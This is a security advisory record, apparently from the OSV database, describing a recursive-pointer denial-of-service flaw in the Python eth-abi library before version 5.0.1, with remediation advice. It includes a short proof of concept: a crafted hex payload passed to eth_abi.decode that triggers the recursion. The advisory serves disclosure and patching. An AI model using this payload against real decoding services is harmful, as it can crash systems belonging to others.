{"id":"GHSA-3qwc-47jf-5rf7","title":"eth-abi is vulnerable to recursive DoS","summary":"eth-abi is vulnerable to recursive DoS","severity":"medium","vendor":"eth-abi","product":"eth-abi","ecosystem":"pip","affected":["eth-abi < 5.0.1"],"patched":["eth-abi 5.0.1"],"published":"2024-03-05","updated":"2026-09-01","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-3qwc-47jf-5rf7","references":[{"url":"https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"},{"url":"https://github.com/ApeWorX/eth-abi/pull/226"},{"url":"https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"},{"url":"https://github.com/ethereum/eth-abi"}],"tags":["osv","pip"],"ingestedAt":"2026-09-02T19:31:22.509Z","slug":"GHSA-3qwc-47jf-5rf7","body":"## Overview\n\nThis is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```\n\n## Affected packages\n\n- `eth-abi < 5.0.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `eth-abi 5.0.1`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}